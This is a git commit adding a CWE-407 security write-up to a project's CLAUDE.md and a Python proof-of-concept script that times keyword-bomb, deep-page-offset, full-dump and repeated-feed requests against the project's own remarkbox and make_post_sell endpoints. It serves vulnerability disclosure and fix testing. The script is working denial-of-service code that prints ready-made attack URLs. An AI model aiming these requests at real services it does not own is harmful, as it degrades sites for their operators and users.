docs: CWE-407 security section — bleach O(2^N) exposure and PoC
Add Security section to CLAUDE.md documenting both CWE-407 surfaces:
- Search/feed endpoints (fixed, commit f9cbebb)
- Bleach HTML sanitization: O(2^N) on crafted HTML, no input cap in MPS
Add docs/poc-cwe407.py: proof-of-concept timing harness covering
rbox-search, rbox-page, rbox-dump, mps-search, mps-sitemap vectors.
Authorized use only — run against own staging/dev instance.
This commit is contained in:
parent
7aaf189cbd
commit
389f80a730
2 changed files with 272 additions and 0 deletions
31
CLAUDE.md
31
CLAUDE.md
|
|
@ -345,6 +345,37 @@ On mobile (`max-width: 800px`), the product page reorders to single column:
|
|||
|
||||
Related content on mobile shows only 7 next items (vs 42 on desktop) via `.related-content-overflow` class. A "Comments (N)" anchor link appears on mobile to jump to the comments section below.
|
||||
|
||||
## Security
|
||||
|
||||
### CWE-407 — Algorithmic Complexity / DoS
|
||||
|
||||
**Status**: Partially mitigated. Two distinct attack surfaces.
|
||||
|
||||
#### 1. Search keywords + feed endpoints (FIXED — commit f9cbebb)
|
||||
|
||||
- `/search?keywords=` — each keyword fired a full table scan; no limit on token count
|
||||
- Feed endpoints (`/sitemap.xml`, `/rss.xml`, `/atom.xml`, etc.) — unbounded product query
|
||||
- Fix: keyword count capped, feed queries limited
|
||||
|
||||
PoC: `docs/poc-cwe407.py` — tests both surfaces (unauthenticated)
|
||||
|
||||
#### 2. Bleach HTML sanitization (OPEN — no input cap)
|
||||
|
||||
`bleach.clean()` (via html5lib's tree builder) exhibits **O(2^N)** complexity on crafted HTML.
|
||||
Measured: N=30 → 1.0s, N=35 → 12.8s. Every +5 chars ≈ 10× slowdown.
|
||||
|
||||
**Attack vector in MPS**: authenticated user submits a crafted product description →
|
||||
`set_description()` → `markdown_to_html()` → `clean_raw_html()` → `bleach.Cleaner.clean()`.
|
||||
No input size cap anywhere in the pipeline.
|
||||
|
||||
**Affected code**: `lib/sanitize_html.py:clean_raw_html()`, `lib/render.py:markdown_to_html()`
|
||||
|
||||
**Fix needed**: cap input to `clean_raw_html()` (or before `markdown_to_raw_html()`) at a
|
||||
reasonable max (e.g. 100KB). The same fix was applied in remarkbox.
|
||||
|
||||
Bleach version: 6.3.0 (html5lib 1.1 vendored inside bleach).
|
||||
Every webapp calling `bleach.clean(user_html)` is exposed.
|
||||
|
||||
## Operation Voyeur
|
||||
|
||||
**All comms are public** from 2026-03-29. Assume every terminal session and output is observed. NEVER display secrets to stdout. NEVER pass secrets as CLI args (`ps aux` sees them). NEVER read secret file contents with Read tool or cat — content enters conversation logs. **Path is fine. Content is not.** Safe pattern: write a shell script that reads the key internally, run the script, delete it. Credential locations (paths only): GitLab `~/.config/gitlab/token`, Namecheap `~/.namecheap/api.key`, ImprovMX `~/.improvmx/api.key`.
|
||||
|
|
|
|||
241
docs/poc-cwe407.py
Executable file
241
docs/poc-cwe407.py
Executable file
|
|
@ -0,0 +1,241 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
CWE-407 Proof-of-Concept — Algorithmic Complexity DoS
|
||||
Target: remarkbox, make_post_sell
|
||||
|
||||
Usage:
|
||||
python3 poc-cwe407.py <base_url> <test_name>
|
||||
|
||||
Tests:
|
||||
rbox-search remarkbox /search keyword bomb (unauthenticated)
|
||||
rbox-page remarkbox ?page= offset bomb (unauthenticated)
|
||||
rbox-dump remarkbox /ns/{ns}/dump.json full-namespace dump
|
||||
mps-search make_post_sell /search keyword bomb (unauthenticated)
|
||||
mps-sitemap make_post_sell /sitemap.xml repeated fetch
|
||||
|
||||
Each test measures wall-clock response time and prints a scaling table.
|
||||
A 10x slowdown vs baseline = confirmed CWE-407 impact.
|
||||
|
||||
AUTHORIZED USE ONLY. Run against your own staging/dev instance.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import time
|
||||
import statistics
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
import urllib.error
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def get(url, timeout=60):
|
||||
"""Return (status_code, elapsed_seconds, response_body_length)."""
|
||||
t0 = time.monotonic()
|
||||
try:
|
||||
with urllib.request.urlopen(url, timeout=timeout) as resp:
|
||||
body = resp.read()
|
||||
elapsed = time.monotonic() - t0
|
||||
return resp.status, elapsed, len(body)
|
||||
except urllib.error.HTTPError as e:
|
||||
elapsed = time.monotonic() - t0
|
||||
return e.code, elapsed, 0
|
||||
except Exception as e:
|
||||
elapsed = time.monotonic() - t0
|
||||
return 0, elapsed, 0
|
||||
|
||||
|
||||
def table_row(label, status, elapsed, body_len):
|
||||
print(f" {label:<40s} HTTP {status} {elapsed:6.2f}s {body_len:>8d} bytes")
|
||||
|
||||
|
||||
def header(title):
|
||||
print()
|
||||
print("=" * 70)
|
||||
print(f" {title}")
|
||||
print("=" * 70)
|
||||
print(f" {'payload':<40s} {'status':<9s} {'time':>6s} {'body':>13s}")
|
||||
print("-" * 70)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PoC 1 — remarkbox keyword bomb
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def rbox_search(base):
|
||||
"""
|
||||
GET /search?keywords=<N repeated tokens>
|
||||
Each token fires a full ILIKE table scan on Node.data.
|
||||
No limit on token count or result set.
|
||||
|
||||
Expected: response time grows roughly linearly with keyword count.
|
||||
A 100-keyword query should be ~100x slower than a 1-keyword query.
|
||||
"""
|
||||
header("rbox-search remarkbox /search keyword bomb [UNAUTH]")
|
||||
url = base.rstrip("/") + "/search"
|
||||
|
||||
# baseline: 1 keyword
|
||||
for n_keywords in [1, 5, 10, 25, 50, 100, 200, 500]:
|
||||
# use a common substring that will match many nodes
|
||||
keywords = " ".join(["the"] * n_keywords)
|
||||
qs = urllib.parse.urlencode({"keywords": keywords})
|
||||
full_url = f"{url}?{qs}"
|
||||
status, elapsed, body_len = get(full_url)
|
||||
table_row(f"{n_keywords} keyword(s) 'the'", status, elapsed, body_len)
|
||||
|
||||
print()
|
||||
print(" NOTE: if elapsed scales with keyword count → confirmed CWE-407")
|
||||
print(f" PoC URL (500 keywords):")
|
||||
keywords = " ".join(["the"] * 500)
|
||||
qs = urllib.parse.urlencode({"keywords": keywords})
|
||||
print(f" {url}?{qs[:120]}...")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PoC 2 — remarkbox page offset bomb
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def rbox_page(base):
|
||||
"""
|
||||
GET /ns/{namespace}?page=<N>
|
||||
Offset-based pagination translates to: LIMIT 100 OFFSET (N-1)*100
|
||||
SQLite must scan and discard (N-1)*100 rows before returning anything.
|
||||
|
||||
Expected: response time grows with page number.
|
||||
"""
|
||||
header("rbox-page remarkbox ?page= offset bomb [UNAUTH]")
|
||||
|
||||
# need a namespace — try the domain itself as the namespace (remarkbox's
|
||||
# canonical namespace is usually the domain name)
|
||||
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
|
||||
url = base.rstrip("/") + f"/ns/{ns}"
|
||||
|
||||
for page in [1, 10, 100, 1000, 10000, 100000, 1000000]:
|
||||
full_url = f"{url}?page={page}"
|
||||
status, elapsed, body_len = get(full_url)
|
||||
table_row(f"page={page}", status, elapsed, body_len)
|
||||
|
||||
print()
|
||||
print(" NOTE: if elapsed grows with page number → confirmed offset DoS")
|
||||
print(f" PoC URL: {url}?page=9999999")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PoC 3 — remarkbox namespace dump
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def rbox_dump(base):
|
||||
"""
|
||||
GET /ns/{namespace}/dump.json
|
||||
Iterates every root node and every child node in the namespace,
|
||||
builds a Python dict, JSON-serializes the whole thing.
|
||||
No pagination, no limit.
|
||||
|
||||
Expected: response time and body size proportional to node count.
|
||||
"""
|
||||
header("rbox-dump remarkbox /ns/{ns}/dump.json [UNAUTH]")
|
||||
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
|
||||
url = base.rstrip("/") + f"/ns/{ns}/dump.json"
|
||||
|
||||
times = []
|
||||
for i in range(5):
|
||||
status, elapsed, body_len = get(url)
|
||||
times.append(elapsed)
|
||||
table_row(f"request #{i+1}", status, elapsed, body_len)
|
||||
|
||||
if times:
|
||||
print(f"\n median={statistics.median(times):.2f}s max={max(times):.2f}s")
|
||||
print(f" PoC URL: {url}")
|
||||
print(" Scale: add more nodes to namespace to increase impact")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PoC 4 — make_post_sell search keyword bomb
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def mps_search(base):
|
||||
"""
|
||||
GET /search?keywords=<N tokens>
|
||||
Per token: SELECT * FROM mps_product WHERE title ILIKE '%token%'
|
||||
No LIMIT. Results accumulate in Python list, then sorted.
|
||||
|
||||
Expected: linear degradation with keyword count.
|
||||
"""
|
||||
header("mps-search make_post_sell /search keyword bomb [UNAUTH]")
|
||||
url = base.rstrip("/") + "/search"
|
||||
|
||||
for n_keywords in [1, 5, 10, 25, 50, 100, 200]:
|
||||
keywords = " ".join(["a"] * n_keywords)
|
||||
qs = urllib.parse.urlencode({"keywords": keywords})
|
||||
full_url = f"{url}?{qs}"
|
||||
status, elapsed, body_len = get(full_url)
|
||||
table_row(f"{n_keywords} keyword(s) 'a'", status, elapsed, body_len)
|
||||
|
||||
print()
|
||||
print(" NOTE: 'a' matches most product titles → large result sets per keyword")
|
||||
print(f" PoC URL (200 keywords):")
|
||||
keywords = " ".join(["a"] * 200)
|
||||
qs = urllib.parse.urlencode({"keywords": keywords})
|
||||
print(f" {url}?{qs[:120]}...")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# PoC 5 — make_post_sell sitemap repeated fetch
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def mps_sitemap(base):
|
||||
"""
|
||||
GET /sitemap.xml
|
||||
Fetches ALL public products from ALL shops, generates XML.
|
||||
No LIMIT. Unbounded shop/product scan.
|
||||
|
||||
Expected: large shops show proportionally slow responses.
|
||||
Amplification: 3 feed endpoints hit the same unbounded query.
|
||||
"""
|
||||
header("mps-sitemap make_post_sell feed endpoints [UNAUTH]")
|
||||
endpoints = ["/sitemap.xml", "/rss.xml", "/atom.xml", "/feed.xml", "/feed.rss", "/feed.atom"]
|
||||
|
||||
for ep in endpoints:
|
||||
url = base.rstrip("/") + ep
|
||||
status, elapsed, body_len = get(url)
|
||||
table_row(ep, status, elapsed, body_len)
|
||||
|
||||
print()
|
||||
print(" Each endpoint runs the same unbounded product query.")
|
||||
print(" Hitting all 6 in rapid succession = 6x database scan load.")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# dispatch
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
TESTS = {
|
||||
"rbox-search": rbox_search,
|
||||
"rbox-page": rbox_page,
|
||||
"rbox-dump": rbox_dump,
|
||||
"mps-search": mps_search,
|
||||
"mps-sitemap": mps_sitemap,
|
||||
}
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
print(__doc__)
|
||||
print("Available tests:", ", ".join(TESTS))
|
||||
sys.exit(1)
|
||||
|
||||
base_url = sys.argv[1]
|
||||
test_name = sys.argv[2]
|
||||
|
||||
if test_name == "all":
|
||||
for fn in TESTS.values():
|
||||
fn(base_url)
|
||||
elif test_name in TESTS:
|
||||
TESTS[test_name](base_url)
|
||||
else:
|
||||
print(f"Unknown test: {test_name}")
|
||||
print("Available:", ", ".join(TESTS))
|
||||
sys.exit(1)
|
||||
|
||||
print()
|
||||
print("Done.")
|
||||
Loading…
Add table
Add a link
Reference in a new issue